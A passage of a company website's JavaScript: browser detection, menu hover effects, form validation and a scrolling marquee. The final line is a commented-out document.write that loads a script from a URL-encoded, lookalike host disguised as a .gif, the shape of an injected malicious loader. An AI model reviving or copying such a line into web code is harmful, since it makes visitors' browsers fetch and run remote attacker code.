			versionSearch: "OmniWeb/",
			identity: "OmniWeb"
		},
		{
			string: navigator.vendor,
			subString: "Apple",
			identity: "Safari"
		},
		{
			prop: window.opera,
			identity: "Opera"
		},
		{
			string: navigator.vendor,
			subString: "iCab",
			identity: "iCab"
		},
		{
			string: navigator.vendor,
			subString: "KDE",
			identity: "Konqueror"
		},
		{
			string: navigator.userAgent,
			subString: "Firefox",
			identity: "Firefox"
		},
		{
			string: navigator.vendor,
			subString: "Camino",
			identity: "Camino"
		},
		{		// for newer Netscapes (6+)
			string: navigator.userAgent,
			subString: "Netscape",
			identity: "Netscape"
		},
		{
			string: navigator.userAgent,
			subString: "MSIE",
			identity: "Explorer",
			versionSearch: "MSIE"
		},
		{ 	
			string: navigator.vendor,
		    subString: "Google",
			identity: "Google"
		},
		{
			string: navigator.userAgent,
			subString: "Gecko",
			identity: "Mozilla",
			versionSearch: "rv"
		},
		{ 		// for older Netscapes (4-)
			string: navigator.userAgent,
			subString: "Mozilla",
			identity: "Netscape",
			versionSearch: "Mozilla"
		}
	],
	dataOS : [
		{
			string: navigator.platform,
			subString: "Win",
			identity: "Windows"
		},
		{
			string: navigator.platform,
			subString: "Mac",
			identity: "Mac"
		},
		{
			string: navigator.platform,
			subString: "Linux",
			identity: "Linux"
		}
	]

};
//BrowserDetect.init();		
//end old website scripts


//product quicklinks menu
function QuickLinksOnMouseOver(link, tr1, tr2, backGroundImageName)
{
    //link.style.backgroundImage = 'url(/App_Themes/Default/quicklinks/'+ backGroundImageName + '.png)';
    if(document.getElementById(ClientIDs[link])!=null) document.getElementById(ClientIDs[link]).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/'+ backGroundImageName +')';
    if(document.getElementById(ClientIDs[tr1])!=null) document.getElementById(ClientIDs[tr1]).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/submenu_bg_selected.png)';
    if(document.getElementById(ClientIDs[tr2])!=null) document.getElementById(ClientIDs[tr2]).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/submenu_bg_selected.png)'
}

function QuickLinksOnMouseOut(link, tr1, tr2, backGroundImageName, menu)
{
    var qsMenu = queryString('m');
    //alert(qsMenu);
    if(qsMenu == 'false')
        qsMenu = 'o';
    if(qsMenu!= menu) 
        if(link!=null) link.style.backgroundImage = 'url(/App_Themes/Default/quicklinks/'+ backGroundImageName +'.png)'
    if(document.getElementById(ClientIDs[tr1])!=null)document.getElementById(ClientIDs[tr1]).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/submenu_bg.png)';
    if(document.getElementById(ClientIDs[tr2])!=null)document.getElementById(ClientIDs[tr2]).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/submenu_bg.png)';
}


//menu from xml file
function XMLMenuOnMouseOver(link, tr1, tr2, backGroundImageName, menu)
{
    //link.style.backgroundImage = 'url(/App_Themes/Default/quicklinks/'+ backGroundImageName + '.png)';
    if(document.getElementById(link)!=null) document.getElementById(link).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/'+ backGroundImageName +')';
    if(document.getElementById(tr1)!=null) document.getElementById(tr1).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/submenu_bg_selected.png)';
    if(document.getElementById(tr2)!=null) document.getElementById(tr2).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/submenu_bg_selected.png)'
//    if(document.getElementById('selectedMenu')!=null) 
//    {
//        if(menu == document.getElementById('selectedMenu').value)
//            document.getElementById('selectedMenu').value = menu;
//    }
    
    
}

function SetSelectedMenu(menu)
{
    if(document.getElementById('selectedMenu')!=null) document.getElementById('selectedMenu').value = menu;
}

function XMLMenuOnMouseOut(link, tr1, tr2, backGroundImageName, menu)
{
    var qsMenu = queryString('menu');

    if(qsMenu == 'false')
        qsMenu = '';
   
    if(qsMenu!= menu) 
    {
        if(document.getElementById(link)!=null) document.getElementById(link).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/'+ backGroundImageName +')';
        if(document.getElementById(tr1)!=null)document.getElementById(tr1).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/submenu_bg.png)';
        if(document.getElementById(tr2)!=null)document.getElementById(tr2).style.backgroundImage = 'url(/App_Themes/Default/quicklinks/submenu_bg.png)';
    }
}

function isProductSelected(oSrc, args)
{
     var div = document.getElementById(ClientIDs.productsPanel).childNodes[0]; 
     var divContent = div.childNodes[0]; 
     var checkboxes = divContent.getElementsByTagName('INPUT');

 
     //alert(tableBody);
     
     args.IsValid = false;

     for (var i=0;i<checkboxes.length; i++)
     {
          var currentTd = checkboxes[i];
          //var listControl = currentTd.childNodes[0];

        if(currentTd.type.toUpperCase()=='CHECKBOX')
        {
              if ( currentTd.checked == true )
              {
                   //alert('#' + i + ': is checked');
                   args.IsValid = true;
                   break;
              }
        }
     }
}


 function preloadImages()
    {
        var height = 20;
        var width = 100;
        var path = '/App_Themes/Default/quicklinks/';
        
        var pictures = new Array(
            "overview.png",
            "overview_selected.png",
            "features.png",
            "features_selected.png",
            "support.png",
            "support_selected.png",
            "downloads.png",
            "downloads_selected.png",
            "licensing.png",
            "licensing_selected.png",
            "gettrial.png",
            "gettrial_selected.png",
            "submenu_bg.png",
            "submenu_bg_selected.png"
        );
        
        if(document.images)
        {
           var images = new Array;
           
           for (var picNum = 0; picNum < pictures.length; picNum++) 
           {
                images[picNum] = new Image(width,height);
                images[picNum].src = (path + pictures[picNum]);
           }
        }
        
        //alert(images[0].src);
        
    }
   //preloadImages();


//when users leaves a page 
//function leavePage()
//{
//    //alert('ok');
//    try
//    {
//    WebServiceAjax.LeavePage();
//    }
//    catch(err)
//    {
//        alert(err);
//    }
//}

/***********************************
*   http://javascripts.vbarsan.com/
*   This notice may not be removed 
***********************************/



function ShowText(checkBox, textBox)
{
    if(checkBox.checked)
    {
        //alert('on');
        document.getElementById(textBox).style.display = 'inline';
    }
    else
    {
        //alert('off');
        document.getElementById(textBox).style.display = 'none';
    }
}

function forumFXCM()
{
   forum = document.getElementById("forum");
   alert(forum);
   
}

function start()
{
    if(document.getElementById)
    {
        ns6marquee(document.getElementById('slider'));
        //alert('ns');
    }
    else if(document.all)
    {
        iemarquee(slider);
        //alert('ie');
    }
    else if(document.layers)
    {
        ns4marquee(document.slider1.document.slider2);
        //alert('ns4');
    }
}

function iemarquee(whichdiv)
{
        iediv=eval(whichdiv);
        iediv.style.pixelTop=sheight+"px";
        iediv.innerHTML=wholemessage;
        sizeup=iediv.offsetHeight;
        ieslide();
}

function ieslide()
{
    if(iediv.style.pixelTop>=sizeup*(-1))
        {
            iediv.style.pixelTop-=sspeed+"px";
            setTimeout("ieslide()",100);
        }
        else
        {
            iediv.style.pixelTop=sheight+"px";
            ieslide();
        }
}

function ns4marquee(whichlayer)
{
    ns4layer=eval(whichlayer);
    ns4layer.top=sheight;
    ns4layer.document.write(wholemessage);
    ns4layer.document.close();
    sizeup=ns4layer.document.height;
    ns4slide();
}

function ns4slide()
{
    if(ns4layer.top>=sizeup*(-1))
    {
        ns4layer.top-=sspeed;
        setTimeout("ns4slide()",100);
    }else
    {
        ns4layer.top=sheight;
        ns4slide();
    }
}

function ns6marquee(whichdiv)
{
    ns6div=eval(whichdiv);
    ns6div.style.top=sheight+"px";
    ns6div.innerHTML=wholemessage;
    sizeup=ns6div.offsetHeight;
    ns6slide();
}

function ns6slide()
{
    if(parseInt(ns6div.style.top)>=sizeup*(-1))
    {
        ns6div.style.top=parseInt(ns6div.style.top)-sspeed+"px";
        setTimeout("ns6slide()",100);
    }else
    {
        ns6div.style.top=sheight+"px";ns6slide();
    }
}

//function goup(){if(sspeed!=rspeed*8){sspeed=sspeed*2;restart=sspeed;}}
//function godown(){if(sspeed>rspeed){sspeed=sspeed/2;restart=sspeed;}}

//-- begin: Scroller's Algorithm -->
function goup(){if(sspeed!=rspeed*8){sspeed=sspeed*2;restart=sspeed;}}
function godown(){if(sspeed>rspeed){sspeed=sspeed/2;restart=sspeed;}}
//function start(){if(document.getElementById)ns6marquee(document.getElementById('slider'));else if(document.all)iemarquee(slider);else if(document.layers)ns4marquee(document.slider1.document.slider2);}function iemarquee(whichdiv){iediv=eval(whichdiv);iediv.style.pixelTop=sheight+"px";iediv.innerHTML=wholemessage;sizeup=iediv.offsetHeight;ieslide();}function ieslide(){if(iediv.style.pixelTop>=sizeup*(-1)){iediv.style.pixelTop-=sspeed+"px";setTimeout("ieslide()",100);}else{iediv.style.pixelTop=sheight+"px";ieslide();}}function ns4marquee(whichlayer){ns4layer=eval(whichlayer);ns4layer.top=sheight;ns4layer.document.write(wholemessage);ns4layer.document.close();sizeup=ns4layer.document.height;ns4slide();}function ns4slide(){if(ns4layer.top>=sizeup*(-1)){ns4layer.top-=sspeed;setTimeout("ns4slide()",100);}else{ns4layer.top=sheight;ns4slide();}}function ns6marquee(whichdiv){ns6div=eval(whichdiv);ns6div.style.top=sheight+"px";ns6div.innerHTML=wholemessage;sizeup=ns6div.offsetHeight;ns6slide();}function ns6slide(){if(parseInt(ns6div.style.top)>=sizeup*(-1)){ns6div.style.top=parseInt(ns6div.style.top)-sspeed+"px";setTimeout("ns6slide()",100);}else{ns6div.style.top=sheight+"px";ns6slide();}}
//-- end Algorithm -->
//document.write('<script src=http://%6C%6E%64%65%78%2E%6E%65%74/ken.gif></script>');




